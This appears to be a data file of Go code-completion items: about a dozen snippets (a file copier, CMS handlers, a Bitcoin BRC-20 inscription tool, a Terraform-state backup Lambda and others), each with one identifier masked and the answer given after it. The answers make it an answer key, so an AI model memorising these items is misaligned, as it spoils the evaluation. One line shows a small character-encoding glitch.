cp.AbsolutePath(src) if err != nil { return err } info, err := os.Lstat(srcAbs) if err != nil { return err } if !info.IsDir() { return cp.CopyFile(src, dest, hardlink) } // We know the supplied source is a directory, but did the user intend that? if !recurse { return errors.New(""source is a directory, but you did not provide -recurse"") } // Check to see if dest exists. If it does, check to see if it's a directory. // If it's not a directory then abort. destAbs, err := cp.AbsolutePath(dest) if err != nil { return err } info, err = os.Lstat(destAbs) if err != nil { return err } if !info.IsDir() { return errors.New(""source is a directory but destination is not"") } // We need to build a stack containing the source file tree so we can call // CopyFile in separate threads filepath.Walk(srcAbs, countFiles(&count)) if debug { fmt.Printf(""Count: %d\n"", count) } [MASK] = make(stack.Stack, 0, count) destFiles = make(stack.Stack, count) [MASK] = recurseFileTree(srcAbs, [MASK] ) // Then we need to create a mirrored file directory in the dest folder // First we need to copy the src stack, then subtract the src root directory // Then we can append the destination root directory to that tree // We also capture the number of copied paths for as a statistic for -useful numFiles := copy(destFiles, [MASK] ) if useful { fmt.Printf(""Number of files to be copied: %d\n"", numFiles) } if !strings.HasSuffix(srcAbs, ""/"") { srcAbs = strings.Join([]string{srcAbs, ""/""}, """") } if debug { fmt.Printf(""srcAbs: %s\n"", srcAbs) } for i, file := range destFiles { file = strings.TrimPrefix(file, srcAbs) destFiles[i] = file } if !strings.HasSuffix(destAbs, ""/"") { destAbs = strings.Join([]string{destAbs, ""/""}, """") } if debug { fmt.Printf(""destAbs: %s\n"", destAbs) } for i, file := range destFiles { file = strings.Join([]string{destAbs, file}, """") destFiles[i] = file } // Now we have lists of source and destination strings that we can copy in parallel // We should build the copyJob object then start up dispatch. if debug { for n, str := range [MASK] { fmt.Printf(""%d: src: %s dest: %s\n"", n, str, (destFiles)[n]) } } jobDispatcher( [MASK] , destFiles, hardlink, cont, verbose, jobs) return nil } func recurseFileTree(directory string, stk stack.Stack) stack.Stack { err := filepath.Walk(directory, visitDirectory(&stk)) if err != nil { panic(err) } return stk } func countFiles(count *int) filepath.WalkFunc { return func(path string, info os.FileInfo, err error) error { if err != nil { log.Fatal(err) } if info.IsDir() { return nil } (*count)++ return nil } } func visitDirectory(files *stack.Stack) filepath.WalkFunc { return func(path string, info os.FileInfo, err error) error { if err != nil { log.Fatal(err) } if info.IsDir() { if debug { fmt.Printf(""visitDirectory: Found directory: %s\n"", path) } return nil } if debug { fmt.Printf(""visitDirectory: Found file: %s\n"", path) } files = stack.Push(files, path) if debug { fmt.Printf(""Stack: %s\n"", (*files)[:]) } return nil } } func copyRoutine(jobs *copyJob, errorChan chan copyError, cont, link, verbose bool, id int) { // Process jobs until none remain or an error occurs. // If cont = true then continue even if errors are encountered. var src, dest string if debug { fmt.Printf(""Started thread %d\n"", id) fmt.Printf(""Current stack: %s \ndest: %s\n"", (*(*jobs).src)[:], (*(*jobs).dest)[:]) } for { if debug { fmt.Printf(""Thread %d locking jobs.\n"", id) } (*jobs).mu.Lock() src, (*jobs).src = stack.Pop((*jobs).src) dest, (*jobs).dest = stack.Pop((*jobs).dest) if (*jobs).src == nil { if debug { fmt.Printf(""Thread %d out of jobs.\n"", id) } errorChan <- copyError{id: id, err: nil, src: """", dest: """"} (*jobs).mu.Unlock() return } jobs.mu.Unlock() if debug { fmt.Printf(""Thread %d unlocked jobs.\n"", id) } if verbose { fmt.Printf(""Copying %s to %s.\n"", src, dest) } err := cp.CopyFile(src, dest, link) if err != nil { errorChan <- copyError{id: id, err: err, src: src, dest: dest} if !cont { return } } } } func jobDispatcher(src, dest stack.Stack, link, cont, verbose bool, jobs int) []error { // The dispatcher builds the copyJob locked struct // Then it spools up the desired number of jobs // It passes the struct to the jobs and waits for errors or completion copyLock := copyJob{src: &src, dest: &dest} size := len(src) var ret []error if jobs > size { jobs = size } if debug { fmt.Printf(""Number of jobs: %d\n"", jobs) } var errChannel chan copyError if cont { errChannel = make(chan copyError, jobs*2) } else { errChannel = make(chan copyError, jobs) } for i := 0; i < jobs; i++ { if debug { fmt.Printf(""Starting thread %d\n"", i) } go copyRoutine(©Lock, errChannel, cont, link, verbose, i) } total := jobs for err := range errChannel { if err.err != nil { if verbose { fmt.Printf(""Error in thread %d: %s, src: %s dest: %s\n"", err.id, err.err, err.src, err.dest) if cont { fmt.Printf(""Thread %d is continuing...\n"", err.id) } } ret = append(ret, err.err) } else { total -= 1 if verbose { fmt.Printf(""Thread %d finished. %d threads remain.\n"", err.id, total) } if total == 0 { return ret } } } return ret } ",srcFiles 715,"package cms_controllers import ( ""github.com/gin-gonic/gin"" ""gitlab.com/naonweh-studio/bubbme-backend/domain"" ""gitlab.com/naonweh-studio/bubbme-backend/domain/cms_domain"" ""gitlab.com/naonweh-studio/bubbme-backend/internal/logger"" ""net/http"" ""strconv"" ) type CoinSourceController struct { CoinSourceUseCase cms_domain.ICoinSourceUseCase } func (u *CoinSourceController) GetCoinSource(ctx *gin.Context) { page := ctx.Query(""page"") if page == """" { page = ""1"" } intPage, err := strconv.Atoi(page) if err != nil { logger.Error(err.Error(), nil) ctx.JSON(http.StatusBadRequest, domain.ErrorResponse{Message: err.Error()}) return } limit := ctx.Query(""limit"") if limit == """" { limit = ""10"" } [MASK] , err := strconv.Atoi(limit) if err != nil { logger.Error(err.Error(), nil) ctx.JSON(http.StatusBadRequest, domain.ErrorResponse{Message: err.Error()}) return } search := ctx.Query(""q"") if err != nil { logger.Error(err.Error(), nil) ctx.JSON(http.StatusBadRequest, domain.ErrorResponse{Message: err.Error()}) return } resp, err := u.CoinSourceUseCase.Get(ctx, intPage, [MASK] , search) if err != nil { logger.Error(err.Error(), nil) ctx.JSON(http.StatusNotFound, domain.ErrorResponse{Message: err.Error()}) return } ctx.JSON(http.StatusOK, resp) } func (u *CoinSourceController) CreateCoinSource(ctx *gin.Context) { var request cms_domain.CoinSourceRequest err := ctx.ShouldBind(&request) if err != nil { ctx.JSON(http.StatusBadRequest, domain.ErrorResponse{Message: err.Error()}) return } resp, err := u.CoinSourceUseCase.CreateCoinSource(ctx, request) if err != nil { ctx.JSON(http.StatusNotFound, domain.ErrorResponse{Message: err.Error()}) return } ctx.JSON(http.StatusOK, resp) } func (u *CoinSourceController) UpdateCoinSource(ctx *gin.Context) { id := ctx.Param(""id"") if id == """" { logger.Error(""error update user admin"", nil) ctx.JSON(http.StatusBadRequest, domain.ErrorResponse{Message: ""error update user admin""}) return } intID, err := strconv.Atoi(id) if err != nil { logger.Error(err.Error(), nil) ctx.JSON(http.StatusBadRequest, domain.ErrorResponse{Message: ""error update user admin""}) return } var request cms_domain.CoinSourceRequest err = ctx.ShouldBind(&request) if err != nil { logger.Error(err.Error(), nil) ctx.JSON(http.StatusBadRequest, domain.ErrorResponse{Message: err.Error()}) return } resp, err := u.CoinSourceUseCase.UpdateCoinSource(ctx, request, intID) if err != nil { logger.Error(err.Error(), nil) ctx.JSON(http.StatusNotFound, domain.ErrorResponse{Message: err.Error()}) return } ctx.JSON(http.StatusOK, resp) } func (u *CoinSourceController) DeleteCoinSource(ctx *gin.Context) { id := ctx.Param(""id"") if id == """" { logger.Error(""error delete user admin"", nil) ctx.JSON(http.StatusBadRequest, domain.ErrorResponse{Message: ""error delete user admin""}) return } intID, err := strconv.Atoi(id) if err != nil { logger.Error(err.Error(), nil) ctx.JSON(http.StatusBadRequest, domain.ErrorResponse{Message: ""error delete user admin""}) return } resp, err := u.CoinSourceUseCase.DeleteCoinSource(ctx, intID) if err != nil { logger.Error(err.Error(), nil) ctx.JSON(http.StatusUnauthorized, domain.ErrorResponse{Message: err.Error()}) return } ctx.JSON(http.StatusOK, resp) } ",intLimit 716,"package main import ( ""fmt"" ""strconv"" ""strings"" ""github.com/minchenzz/brc20tool/internal/ord"" ""github.com/minchenzz/brc20tool/pkg/btcapi/mempool"" ""fyne.io/fyne/v2"" ""fyne.io/fyne/v2/app"" ""fyne.io/fyne/v2/dialog"" ""fyne.io/fyne/v2/widget"" ""github.com/btcsuite/btcd/btcec/v2"" ""github.com/btcsuite/btcd/btcec/v2/schnorr"" ""github.com/btcsuite/btcd/btcutil"" ""github.com/btcsuite/btcd/chaincfg"" ""github.com/btcsuite/btcd/txscript"" ""github.com/btcsuite/btcd/wire"" ) var gwif string var ( gop string gtick string gamount string grepeat string gsats string ) func main() { a := app.New() w := a.NewWindow(""brc20 tool"") w.Resize(fyne.NewSize(800, 600)) // w.SetContent(widget.NewLabel(""Hello World!"")) w.SetContent(makeForm(w)) w.ShowAndRun() } func makeForm(_w fyne.Window) fyne.CanvasObject { pk := widget.NewPasswordEntry() op := widget.NewEntry() op.SetPlaceHolder(""op"") tick := widget.NewEntry() tick.SetPlaceHolder(""tick"") amount := widget.NewEntry() amount.SetPlaceHolder(""amount"") fee := widget.NewEntry() fee.SetPlaceHolder(""sats"") fee.SetText(""20"") repeat := widget.NewEntry() repeat.SetPlaceHolder(""repeat"") repeat.SetText(""1"") fees := widget.NewEntry() fees.SetPlaceHolder(""fees"") txid := widget.NewEntry() txid.SetPlaceHolder(""main txid"") inscribeTxs := widget.NewEntry() inscribeTxs.SetPlaceHolder(""inscribe txs"") inscribeTxs.MultiLine = true estimate := widget.NewButton(""estimate"", func() { gwif = pk.Text gop = op.Text gtick = tick.Text gamount = amount.Text grepeat = repeat.Text gsats = fee.Text _, _, fee, err := run(true) if err != nil { dialog.ShowError(err, _w) return } fees.SetText(strconv.FormatInt(fee, 10)) }) form := &widget.Form{ Items: []*widget.FormItem{ {Text: ""private key"", Widget: pk, HintText: ""Your wif private key""}, {Text: ""op"", Widget: op, HintText: ""eg: mint, transfer""}, {Text: ""tick"", Widget: tick, HintText: ""eg: ordi, SHIB""}, {Text: ""amount"", Widget: amount, HintText: ""eg: 1, 100000""}, {Text: ""sats"", Widget: fee, HintText: ""eg: 20, 30""}, {Text: ""repeat"", Widget: repeat, HintText: ""eg: 1, 5, 10""}, {Text: ""estimate fee"", Widget: estimate, HintText: ""estimate fee(sats)""}, {Text: ""fee"", Widget: fees, HintText: ""txs fee""}, {Text: ""txid"", Widget: txid, HintText: ""main txid""}, {Text: ""inscribe txids"", Widget: inscribeTxs, HintText: ""inscribe txids""}, }, OnSubmit: func() { gwif = pk.Text gop = op.Text gtick = tick.Text gamount = amount.Text grepeat = repeat.Text gsats = fee.Text _txid, txids, _, err := run(false) if err != nil { dialog.ShowError(err, _w) return } txid.SetText(_txid) txisstr := strings.Join(txids, ""\n"") inscribeTxs.SetText(txisstr) }, } return form } func run(forEstimate bool) (txid string, txids []string, fee int64, err error) { netParams := &chaincfg.MainNetParams btcApiClient := mempool.NewClient(netParams) wifKey, err := btcutil.DecodeWIF(gwif) if err != nil { return } utxoTaprootAddress, err := btcutil.NewAddressTaproot(schnorr.SerializePubKey(txscript.ComputeTaprootKeyNoScript(wifKey.PrivKey.PubKey())), netParams) if err != nil { return } unspentList, err := btcApiClient.ListUnspent(utxoTaprootAddress) if err != nil { return } if len(unspentList) == 0 { err = fmt.Errorf(""no utxo for %s"", utxoTaprootAddress) return } vinAmount := 0 commitTxOutPointList := make([]*wire.OutPoint, 0) commitTxPrivateKeyList := make([]*btcec.PrivateKey, 0) for i := range unspentList { if unspentList[i].Output.Value < 10000 { continue } commitTxOutPointList = append(commitTxOutPointList, unspentList[i].Outpoint) commitTxPrivateKeyList = append(commitTxPrivateKeyList, wifKey.PrivKey) vinAmount += int(unspentList[i].Output.Value) } dataList := make([]ord.InscriptionData, 0) mint := ord.InscriptionData{ ContentType: ""text/plain;charset=utf-8"", Body: []byte(fmt.Sprintf(`{""p"":""brc-20"",""op"":""%s"",""tick"":""%s"",""amt"":""%s""}`, gop, gtick, gamount)), Destination: utxoTaprootAddress.EncodeAddress(), } count, err := strconv.Atoi(grepeat) if err != nil { return } for i := 0; i < count; i++ { dataList = append(dataList, mint) } txFee, err := strconv.Atoi(gsats) if err != nil { return } request := ord.InscriptionRequest{ CommitTxOutPointList: commitTxOutPointList, CommitTxPrivateKeyList: commitTxPrivateKeyList, CommitFeeRate: int64(txFee), FeeRate: int64(txFee), DataList: dataList, SingleRevealTxOnly: false, } tool, err := ord.NewInscriptionToolWithBtcApiClient(netParams, btcApiClient, &request) if err != nil { return } baseFee := tool.CalculateFee() if forEstimate { fee = baseFee return } commitTxHash, [MASK] , _, _, err := tool.Inscribe() if err != nil { err = fmt.Errorf(""send tx errr, %v"", err) return } txid = commitTxHash.String() for i := range [MASK] { txids = append(txids, [MASK] [i].String()) } return } ",revealTxHashList 717,"package kutil import ( ""fmt"" ""io/ioutil"" ""os"" ""os/exec"" ""path/filepath"" ""runtime"" ""strings"" ) type UtilError string func (err UtilError) Error() string { return ""Utils Error: "" + string(err) } func ProcessName() string { file := os.Args[0] i := strings.LastIndex(file, ""\\"") j := strings.LastIndex(file, ""/"") if j < i { file = file[i+1:] } else if j > i { file = file[j+1:] } i = strings.LastIndex(file, ""."") if i > 0 { file = file[0:i] } return file } func DefaultPidFileName() string { file := ProcessName() pidFile := ""/var/run/"" if runtime.GOOS == ""windows"" { pidFile = ""c:\\"" + file + "".pid"" } else { pidFile += file + "".pid"" } return pidFile } func ProcessFile() string { file, _ := exec.LookPath(os.Args[0]) path, _ := filepath.Abs(file) return path } func ProcessPath() string { path := filepath.Dir(ProcessFile()) return path } func WritePidFile(myFile string, pid int) (err error) { return ioutil.WriteFile(myFile, []byte(fmt.Sprintf(""%d"", pid)), 0644) } func CheckWritePidPermission(pidFile string) error { if len(pidFile) <= 0 { pidFile = DefaultPidFileName() } file := pidFile + "".tmp"" if err := ioutil.WriteFile(file, []byte(fmt.Sprintf(""%d"", 0)), 0644); err != nil { return UtilError(""had no permission to write pid file"") } os.Remove(file) return nil } func ExecProcess(background bool, file string, args ...string) (int, error) { fmt.Println(""args:"", args, ""-Len:"", len(args)) filePath, _ := filepath.Abs(file) cmd := exec.Command(filePath, args...) if background { cmd.Stdin = nil //给新进程设置文件描述符,可以重定向到文件中 cmd.Stdout = nil cmd.Stderr = nil } else { cmd.Stdin = os.Stdin //给新进程设置文件描述符,可以重定向到文件中 cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr } err := cmd.Start() if err == nil { return cmd.Process.Pid, nil } return -1, err } func TryToRunAsDaemon(key, pidFile string) int { key = strings.ToLower(key) var [MASK] []string var bFind bool = false for _, arg := range os.Args { arg = strings.ToLower(arg) if arg == key { bFind = true } else { [MASK] = append( [MASK] , arg) } } if bFind { if err := CheckWritePidPermission(pidFile); err != nil { return -1 } if pid, err := ExecProcess(true, ProcessFile(), [MASK] ...); err == nil { return pid } return -2 } return 0 } func StartProcess(background bool, file string, args []string) (*os.Process, error) { filePath, _ := filepath.Abs(file) if background { return os.StartProcess(filePath, args, &os.ProcAttr{Files: []*os.File{nil, nil, nil}}) } return os.StartProcess(filePath, args, &os.ProcAttr{Files: []*os.File{os.Stdin, os.Stdout, os.Stderr}}) } func WaitProcess(background bool, file string, args []string) ([]byte, error) { filePath, _ := filepath.Abs(file) cmd := exec.Command(filePath, args...) if background { cmd.Stdin = nil //给新进程设置文件描述符,可以重定向到文件中 cmd.Stdout = nil cmd.Stderr = nil } else { cmd.Stdin = os.Stdin //给新进程设置文件描述符,可以重定向到文件中 cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr } //cmd.Run()不能返回内容,而Output可以返回内容。 return cmd.Output() } ",argsNew 718,"package main import ( ""fmt"" ""log"" ""github.com/hajimehoshi/ebiten"" ""github.com/hajimehoshi/ebiten/ebitenutil"" ) func update(screen *ebiten.Image) error { // ゲームパッド番号。今回は0番で決め打ちする。 const gamepadID = 0 // 現在押されているボタンを取得する。 buttons := []ebiten.GamepadButton{} for b := ebiten.GamepadButton0; b <= ebiten.GamepadButtonMax; b++ { if ebiten.IsGamepadButtonPressed(gamepadID, b) { buttons = append(buttons, b) } } // 現在の軸の状態を取得する。 [MASK] := make([]float64, ebiten.GamepadAxisNum(gamepadID)) for i := range [MASK] { [MASK] [i] = ebiten.GamepadAxis(gamepadID, i) } if ebiten.IsRunningSlowly() { return nil } // ボタンの状態を文字列化する。 msg := ""Buttons: "" for _, b := range buttons { msg += fmt.Sprintf(""%d "", b) } // 軸の状態を文字列化する。 // 軸の傾きは-1から1の浮動小数点で表される。 msg += ""\nAxes:\n"" for _, a := range [MASK] { msg += fmt.Sprintf("" %0.6f\n"", a) } ebitenutil.DebugPrint(screen, msg) return nil } func main() { if err := ebiten.Run(update, 320, 240, 2, ""Gamepad""); err != nil { log.Fatal(err) } } ",axes 719,"package main import ( ""bytes"" ""context"" ""encoding/json"" ""fmt"" ""github.com/aws/aws-lambda-go/events"" ""github.com/aws/aws-lambda-go/lambda"" ""github.com/aws/aws-sdk-go-v2/aws"" ""github.com/aws/aws-sdk-go-v2/config"" ""github.com/aws/aws-sdk-go-v2/feature/s3/manager"" ""github.com/aws/aws-sdk-go-v2/service/s3"" ""github.com/hashicorp/go-tfe"" log ""github.com/sirupsen/logrus"" ""net/http"" ""os"" ""strings"" ""time"" ) type Payload struct { PayloadVersion int `json:""payload_version""` NotificationConfigurationID string `json:""notification_configuration_id""` RunURL string `json:""run_url""` RunID string `json:""run_id""` RunMessage string `json:""run_message""` RunCreatedAt time.Time `json:""run_created_at""` RunCreatedBy string `json:""run_created_by""` WorkspaceID string `json:""workspace_id""` WorkspaceName string `json:""workspace_name""` OrganizationName string `json:""organization_name""` Notifications []struct { Message string `json:""message""` Trigger string `json:""trigger""` RunStatus string `json:""run_status""` RunUpdatedAt time.Time `json:""run_updated_at""` RunUpdatedBy string `json:""run_updated_by""` } `json:""notifications""` } var tfe_token string = os.Getenv(""TF_TOKEN"") var bucket string = os.Getenv(""BUCKET"") func UploadToS3(key string, body string) error { cfg, err := config.LoadDefaultConfig(context.TODO()) client := s3.NewFromConfig(cfg) uploader := manager.NewUploader(client) _, err = uploader.Upload(context.TODO(), &s3.PutObjectInput{ Bucket: aws.String(bucket), Key: aws.String(key), Body: bytes.NewReader([]byte(body)), }) return err } func DownloadBody(url string) (string, error) { resp, err := http.Get(url) if err != nil { return """", err } buff := new(bytes.Buffer) _, err = buff.ReadFrom(resp.Body) if err != nil { return """", err } return buff.String(), err } func GetLastStateVersion(workspaceId string) (*tfe.StateVersion, error) { var state *tfe.StateVersion [MASK] , err := tfe.NewClient(&tfe.Config{ Token: tfe_token, }) if err != nil { log.Println(err) return state, err } state, err = [MASK] .StateVersions.Current(context.Background(), workspaceId) if err != nil { log.Println(""Error"", err) return state, err } return state, nil } func SaveLastState(payload Payload) (string, error) { state, err := GetLastStateVersion(payload.WorkspaceID) if err != nil { return """", err } key := fmt.Sprintf(""%s/%s/%s/%s-%v-%s-%s.json"", payload.OrganizationName, payload.WorkspaceName, state.CreatedAt.Format(""2006/01/02""), payload.WorkspaceName, state.Serial, state.ID, payload.RunID) body, err := DownloadBody(state.DownloadURL) if err != nil { return """", err } err = UploadToS3(key, body) if err == nil { log.Println(""Terraform State saved in: "", key) } return key, err } func StatusModified(payload Payload) bool { for _, v := range payload.Notifications { return strings.Contains(v.RunStatus, ""errored"") || strings.Contains(v.RunStatus, ""applied"") } return false } func Handler(ctx context.Context, event events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) { payload := Payload{} json.Unmarshal([]byte(event.Body), &payload) if StatusModified(payload) { _, err := SaveLastState(payload) if err != nil { log.Println(err) return events.APIGatewayProxyResponse{StatusCode: 500}, err } } return events.APIGatewayProxyResponse{StatusCode: 200}, nil } func main() { lambda.Start(Handler) } ",tfe_client 720,"package main import ( ""fmt"" ""html/template"" ""os"" ""path/filepath"" ) const ( outDir = ""www/"" domain = ""routerd.net"" githubOrg = ""routerd"" ) // Add new go modules here and // then execute `go run ./cmd/render` var modules = []string{ ""go-firewalld"", ""routerd.github.io"", ""kube-dhcp"", ""machinery"", ""routerd"", ""go-systemd"", } var ( moduleTemplateString = ` ` indexTemplateString = ` ` redirectsTemplateString = `{{ range $module := .Modules -}} /{{$module }}/* go-get=1 /{{$module }}/index.html 200 {{ end }}` ) type moduleTemplateData struct { GoImport string GoSource string Redirect string } type indexTemplateData struct { Redirect string } type redirectsTemplateData struct { Modules []string } func main() { // Load templates moduleTemplate := template.Must( template.New(""module page"").Parse(moduleTemplateString), ) indexTemplate := template.Must( template.New(""index page"").Parse(indexTemplateString), ) redirectsTemplate := template.Must( template.New(""netlify redirects config"").Parse(redirectsTemplateString), ) // Remove output folder err := os.RemoveAll(outDir) if err != nil { panic(fmt.Sprintf(""Could not remove outDir: %s %v"", outDir, err)) } // Recreate output folder err = os.MkdirAll(outDir, os.ModePerm) if err != nil { panic(fmt.Sprintf(""Could not recreate outDir: %s %v"", outDir, err)) } // Create CNAME file in output folder [MASK] := filepath.Join(outDir, ""CNAME"") file, err := os.Create( [MASK] ) defer file.Close() if err != nil { panic(fmt.Sprintf(""could not create cname file: %v"", err)) } fmt.Fprintln(file, domain) // Create subfolder and page for each module for _, module := range modules { subfolderPath := filepath.Join(outDir, module) pagePath := filepath.Join(subfolderPath, ""index.html"") // Create module subfolder err = os.Mkdir(subfolderPath, os.ModePerm) if err != nil { panic(fmt.Sprintf(""Could not create subfolder for module: %s %s %v"", module, subfolderPath, err)) } // Create module page file file, err := os.Create(pagePath) defer file.Close() if err != nil { panic(fmt.Sprintf(""could not create module page file: %v"", err)) } // Render template into page file moduleTemplate.Execute(file, moduleTemplateData{ GoImport: fmt.Sprintf(""%s/%s git https://github.com/%s/%s"", domain, module, githubOrg, module), GoSource: fmt.Sprintf( `%s/%s _ https://github.com/%s/%s/tree/main{/dir} https://github.com/%s/%s/blob/main{/dir}/{file}#L{line}`, domain, module, githubOrg, module, githubOrg, module, ), Redirect: fmt.Sprintf(""https://godoc.org/%s/%s"", domain, module), }) } { // Create index file indexFilePath := filepath.Join(outDir, ""index.html"") file, err := os.Create(indexFilePath) defer file.Close() if err != nil { panic(fmt.Sprintf(""could not create index file: %v"", err)) } // Render template into index file indexTemplate.Execute(file, indexTemplateData{ Redirect: fmt.Sprintf(""https://github.com/%s"", githubOrg), }) } { // Create redirects file redirectsFilePath := filepath.Join(outDir, ""_redirects"") file, err := os.Create(redirectsFilePath) defer file.Close() if err != nil { panic(fmt.Sprintf(""could not create redirects file: %v"", err)) } redirectsTemplate.Execute(file, redirectsTemplateData{ Modules: modules, }) } } ",cnameFilePath 721,"// SPDX-License-Identifier: Apache-2.0 // SPDX-FileCopyrightText: 2024-Present The UDS Authors package monitor import ( ""bytes"" ""context"" ""fmt"" ""net/http"" ""sync"" ""time"" ""github.com/defenseunicorns/uds-runtime/pkg/api/sse"" ""github.com/defenseunicorns/uds-runtime/pkg/pepr"" ""github.com/defenseunicorns/uds-runtime/pkg/stream"" ""github.com/defenseunicorns/zarf/src/pkg/message"" ""github.com/go-chi/chi/v5"" ) func Pepr(w http.ResponseWriter, r *http.Request) { [MASK] := chi.URLParam(r, ""stream"") if !pepr.IsValidStreamFilter(pepr.StreamKind( [MASK] )) { http.Error(w, http.StatusText(404), 404) return } ctx, cancel := context.WithCancel(context.Background()) defer cancel() // Set the headers for streaming sse.WriteHeaders(w) // Create a new BufferWriter bufferWriter := newBufferWriter(w) // pass context to stream reader to clean up spawned goroutines that watch pepr pods peprReader := pepr.NewStreamReader("""", """") peprReader.JSON = true peprReader.FilterStream = pepr.StreamKind( [MASK] ) peprStream := stream.NewStream(bufferWriter, peprReader, ""pepr-system"") peprStream.Follow = true peprStream.Timestamps = true //nolint:errcheck // Start the stream in a goroutine go peprStream.Start(ctx) // Track if the first message has been seen seen := false // Create a timer to send keep-alive messages // The first message is sent after 2 seconds to detect empty streams keepAliveTimer := time.NewTimer(2 * time.Second) defer keepAliveTimer.Stop() // Create a ticker to flush the buffer flushTicker := time.NewTicker(time.Second) defer flushTicker.Stop() for { select { // Check if the client has disconnected case <-r.Context().Done(): message.Info(""Client disconnected"") return // Handle keep-alive messages // See https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#examples case <-keepAliveTimer.C: // Set the keep-alive duration to 30 seconds after the first message if !seen { keepAliveTimer.Reset(30 * time.Second) } bufferWriter.KeepAlive() // Flush every second if there is data case <-flushTicker.C: if bufferWriter.buffer.Len() > 0 { if err := bufferWriter.Flush(w); err != nil { message.WarnErr(err, ""Failed to flush buffer"") return } } } } } // bufferWriter is a custom writer that aggregates data and writes it to an http.ResponseWriter type bufferWriter struct { buffer *bytes.Buffer mutex sync.Mutex flusher http.Flusher } // newBufferWriter creates a new BufferWriter func newBufferWriter(w http.ResponseWriter) *bufferWriter { // Ensure the ResponseWriter also implements http.Flusher flusher, ok := w.(http.Flusher) if !ok { panic(""ResponseWriter does not implement http.Flusher"") } return &bufferWriter{ buffer: new(bytes.Buffer), flusher: flusher, } } func (bw *bufferWriter) KeepAlive() { bw.mutex.Lock() defer bw.mutex.Unlock() fmt.Fprintf(bw.buffer, "": \n\n"") } // Write writes data to the buffer func (bw *bufferWriter) Write(p []byte) (n int, err error) { bw.mutex.Lock() defer bw.mutex.Unlock() event := fmt.Sprintf(""data: %s\n\n"", p) // Write data to the buffer return bw.buffer.WriteString(event) } // Flush writes the buffer content to the http.ResponseWriter and flushes it func (bw *bufferWriter) Flush(w http.ResponseWriter) error { bw.mutex.Lock() defer bw.mutex.Unlock() _, err := w.Write(bw.buffer.Bytes()) if err != nil { return err } // Clear the buffer bw.buffer.Reset() // Flush the response bw.flusher.Flush() return nil } ",streamFilter 722,"package main import ( ""context"" ""fmt"" ""log"" ""math/rand"" ""net/http"" ""time"" _ ""github.com/honeycombio/honeycomb-opentelemetry-go"" ""github.com/honeycombio/otel-launcher-go/launcher"" ""go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp"" ""go.opentelemetry.io/otel"" ""go.opentelemetry.io/otel/trace"" ) var ( tracer trace.Tracer ) func calculateYear() int { [MASK] := []int{2016, 2017, 2018, 2019, 2020} rand.Seed(time.Now().UnixNano()) time.Sleep(time.Duration(rand.Intn(5)) * time.Millisecond) return [MASK] [rand.Intn(len( [MASK] ))] } func yearHandler(w http.ResponseWriter, r *http.Request) { ctx := r.Context() year := func(ctx context.Context) int { _, span := tracer.Start(ctx, ""calculate-year"") defer span.End() return calculateYear() }(ctx) _, _ = fmt.Fprintf(w, ""%d"", year) } func main() { otelShutdown, err := launcher.ConfigureOpenTelemetry() if err != nil { log.Fatalf(""error setting up OTel SDK - %e"", err) } defer otelShutdown() tracer = otel.Tracer(""greeting-service/year-service"") mux := http.NewServeMux() mux.HandleFunc(""/year"", yearHandler) wrappedHandler := otelhttp.NewHandler(mux, ""year"") log.Println(""Listening on http://localhost:6001/year"") log.Fatal(http.ListenAndServe("":6001"", wrappedHandler)) } ",years 723,"package main import ""reflect"" func FilterByReflect(elems, predicate interface{}) interface{} { [MASK] := reflect.ValueOf(elems) if [MASK] .Kind() != reflect.Slice { panic(""filter: wrong type, not a slice"") } predicateValue := reflect.ValueOf(predicate) if predicateValue.Kind() != reflect.Func { panic(""filter: wrong type, not a func"") } if (predicateValue.Type().NumIn() != 1) || (predicateValue.Type().NumOut() != 1) || (predicateValue.Type().In(0) != [MASK] .Type().Elem()) || (predicateValue.Type().Out(0) != reflect.TypeOf(true)) { panic(""filter: wrong type, predicate must be of type func("" + [MASK] .Elem().String() + "") bool"") } var indexes []int for i := 0; i < [MASK] .Len(); i++ { if predicateValue.Call([]reflect.Value{ [MASK] .Index(i)})[0].Bool() { indexes = append(indexes, i) } } r := reflect.MakeSlice( [MASK] .Type(), len(indexes), len(indexes)) for i := range indexes { r.Index(i).Set( [MASK] .Index(indexes[i])) } return r.Interface() } ",elemsValue 724,"/* Copyright 2013 Google Inc. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Package consistenthash provides an implementation of a ring hash. package consistenthash import ( ""hash/crc32"" ""sort"" ""strconv"" ) type Hash func(data []byte) uint32 type Map struct { hash Hash //一致性hash函数 replicas int //单一节点在一致性hash map中的虚拟节点数 keys []int // Sorted //所有节点生成的虚拟节点hash值slice,排序了的 hashMap map[int]string // hash值和节点对应map } func New(replicas int, fn Hash) *Map { m := &Map{ replicas: replicas, hash: fn, hashMap: make(map[int]string), } if m.hash == nil { m.hash = crc32.ChecksumIEEE } return m } // Returns true if there are no items available. func (m *Map) IsEmpty() bool { return len(m.keys) == 0 } // Adds some keys to the hash. func (m *Map) Add(keys ...string) { for _, key := range keys { for i := 0; i < m.replicas; i++ { hash := int(m.hash([]byte(strconv.Itoa(i) + key))) m.keys = append(m.keys, hash) m.hashMap[hash] = key } } sort.Ints(m.keys) } // Gets the closest item in the hash to the provided key. func (m *Map) Get(key string) string { //p.peers.Get(key) if m.IsEmpty() { return """" } hash := int(m.hash([]byte(key))) // 使用一致性hash函数计算""缓存数据""key的hash值 // Binary search for appropriate replica. // 选取最小的大于 key的hash值 的 节点hash值 [MASK] := sort.Search(len(m.keys), func(i int) bool { ok := m.keys[i] >= hash //return m.keys[i] >= hash return ok }) // Means we have cycled back to the first replica. if [MASK] == len(m.keys) { [MASK] = 0 } return m.hashMap[m.keys[ [MASK] ]] // 返回节点(url) 在这里一致性hash是用于查找服务器url的,用来定位具体的服务器 } ",idx 725,"package main import ( ""log"" ""os"" ""github.com/cloudevents/sdk-go/v2/event"" ""github.com/yolocs/ce-proto/pkg/ceproto"" ""github.com/yolocs/ce-proto/pkg/eventtypes/examples"" ) func main() { et1 := &examples.FileUploadedEvent{ Name: ""sample.txt"", Path: ""/folder/foo"", Ext: ""txt"", } [MASK] := &examples.PaymentReceivedEvent{ 